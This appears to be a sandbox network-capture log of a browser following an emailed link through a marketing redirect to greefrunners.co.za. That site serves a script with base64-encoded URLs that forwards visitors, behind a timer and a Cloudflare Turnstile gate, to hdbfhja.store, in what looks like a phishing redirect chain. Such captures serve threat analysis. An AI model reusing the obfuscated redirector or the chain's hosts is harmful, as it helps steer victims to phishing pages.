https://url2.mailanyone.net/scanner?m=1s3cWM-0007Zq-3j&d=4%7Cmail%2F90%2F1714917600%2F1s3cWM-0007Zq-3j%7Cin2c%7C57e1b682%7C28613012%7C14303582%7C663792961556323F60CA7719E24FBD2A&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm4sore6a1g%2F9-90e40-bd3-f16f8-193b04100e5di%2F5%2FKvEDrF30gZAMUpE-A4D1AQEAGZtaA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2fg52ueerFrornnz.c.es25a%25%25F%25222d22CrRei%252oOecstintp7%25%252%25A%25B233%2522n2%25A522%25ul1C%252l2u%25%252lAnl23d%25%257gD%26iD7U%3DesLtFOt8q8bqVJ1W8k02PQlIwVO4c2lKft5o%25BBn7e%25G1kRCes3DVcrt%26eaier8n%3D5so27754bdd9b3bbaf4343bee51eb8d6&s=WdYCVSQ9Sc0_DEjTfgsDBAJMLLE Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Cache-control: no-store Pragma: no-cache X-Robots-Tag: noindex, nofollow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49715	69.192.108.161	443

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:02 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-07 18:28:02 UTC	511	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=119183 Date: Tue, 07 May 2024 18:28:02 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49720	69.192.108.161	443

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:03 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-07 18:28:03 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=119182 Date: Tue, 07 May 2024 18:28:03 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-07 18:28:03 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49737	52.146.76.30	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:11 UTC	1018	OUT	GET /api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://url2.mailanyone.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:12 UTC	348	IN	HTTP/1.1 302 Found Server: nginx Date: Tue, 07 May 2024 18:28:12 GMT Content-Length: 0 Connection: close Location: https://greefrunners.co.za/#msdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 x-ms-trace-id: 3deb2d186fe01cbbe2a7039868019258 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49742	102.130.123.81	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:13 UTC	686	OUT	GET / HTTP/1.1 Host: greefrunners.co.za Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://url2.mailanyone.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:14 UTC	205	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:07 GMT Server: Apache Last-Modified: Tue, 07 May 2024 17:01:54 GMT Accept-Ranges: bytes Content-Length: 570 Connection: close Content-Type: text/html
2024-05-07 18:28:14 UTC	570	IN	Data Raw: 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 76 61 72 20 66 69 72 73 74 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 6d 59 57 4e 6c 59 6d 39 76 61 79 35 6a 62 32 30 3d 22 3b 0a 20 20 20 20 76 61 72 20 73 65 63 6f 6e 64 42 61 73 65 36 34 55 72 6c 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 6f 5a 47 4a 6d 61 47 70 68 4c 6e 4e 30 62 33 4a 6c 4c 7a 39 34 5a 58 56 34 64 58 64 6a 5a 79 5a 78 63 6d 4d 3d 22 3b 0a 0a 20 20 20 20 2f 2f 20 4c 6f 61 64 20 74 68 65 20 66 69 72 73 74 20 55 52 4c 20 66 6f 72 20 61 20 66 65 77 20 73 65 63 6f 6e 64 73 0a 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e Data Ascii: <script type="text/javascript"> var firstBase64Url = "aHR0cHM6Ly9mYWNlYm9vay5jb20="; var secondBase64Url = "aHR0cHM6Ly9oZGJmaGphLnN0b3JlLz94ZXV4dXdjZyZxcmM="; // Load the first URL for a few seconds setTimeout(function() { window.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49743	102.130.123.81	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:15 UTC	592	OUT	GET /favicon.ico HTTP/1.1 Host: greefrunners.co.za Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:16 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 07 May 2024 18:28:08 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-05-07 18:28:16 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49744	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:17 UTC	754	OUT	GET /?xeuxuwcg&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:17 UTC	485	IN	HTTP/1.1 302 Found Set-Cookie: qPdM=AxaeKThWurNR; path=/; samesite=none; secure; httponly Set-Cookie: qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; path=/; samesite=none; secure; httponly location: /?xeuxuwcg=557878b1416645a740a9119a6f4ae2274233f6c9186bcefac0510f6e30102bc3eae40bcec311e10ba4bf76faa9c8ab9761ac44829bccbe1c2f1f9dbd9ec6e43f&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 Date: Tue, 07 May 2024 18:28:17 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:28:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49745	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:17 UTC	948	OUT	GET /?xeuxuwcg=557878b1416645a740a9119a6f4ae2274233f6c9186bcefac0510f6e30102bc3eae40bcec311e10ba4bf76faa9c8ab9761ac44829bccbe1c2f1f9dbd9ec6e43f&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
2024-05-07 18:28:17 UTC	142	IN	HTTP/1.1 200 OK Content-Type: text/html;charset=UTF-8 Date: Tue, 07 May 2024 18:28:17 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:28:17 UTC	3272	IN	Data Raw: 63 62 63 0d 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 0a 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d Data Ascii: cbc <!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"> </script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49746	104.17.2.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:18 UTC	572	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:19 UTC	336	IN	HTTP/1.1 302 Found Date: Tue, 07 May 2024 18:28:18 GMT Content-Length: 0 Connection: close cache-control: max-age=300, public location: /turnstile/v0/b/ce7818f50e39/api.js access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 880344e289127c9f-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49747	104.17.2.184	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:19 UTC	556	OUT	GET /turnstile/v0/b/ce7818f50e39/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:28:19 UTC	346	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:19 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42566 Connection: close cross-origin-resource-policy: cross-origin access-control-allow-origin: * cache-control: max-age=604800, public Server: cloudflare CF-RAY: 880344e51dbe7d18-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:28:19 UTC	1023	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 6c 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 6c 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,l,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,l)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,l){var s=e.apply(r,t);funct
2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 72 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 6c 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 Data Ascii: r(function(l){return Object.getOwnPropertyDescriptor(e,l).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach
2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 6c 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d Data Ascii: urn e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,l,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m
2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 76 61 72 20 46 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 46 7c 7c 28 46 3d 7b 7d 29 29 3b 76 61 72 20 56 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 4f 52 4d 41 4c 3d 22 6e 6f 72 6d 61 6c 22 Data Ascii: ked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;var F;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(F\|\|(F={}));var V;(function(e){e.NORMAL="normal"
2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 3d 22 73 74 72 69 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e Data Ascii: ="string"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return
2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 68 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 32 2f 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 73 69 7a 65 29 2e 63 6f 6e 63 61 74 28 64 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c Data Ascii: h,"turnstile/if/ov2/av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(t.theme,"/").concat(t.size).concat(d)}function ke(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Bt(e,
2024-05-07 18:28:19 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 71 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 72 65 74 75 72 6e 20 78 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 61 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 Data Ascii: nction(o){if(o===null\|\|!qt(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,l)}function l(){return xe(o,arguments,ae(this).construct
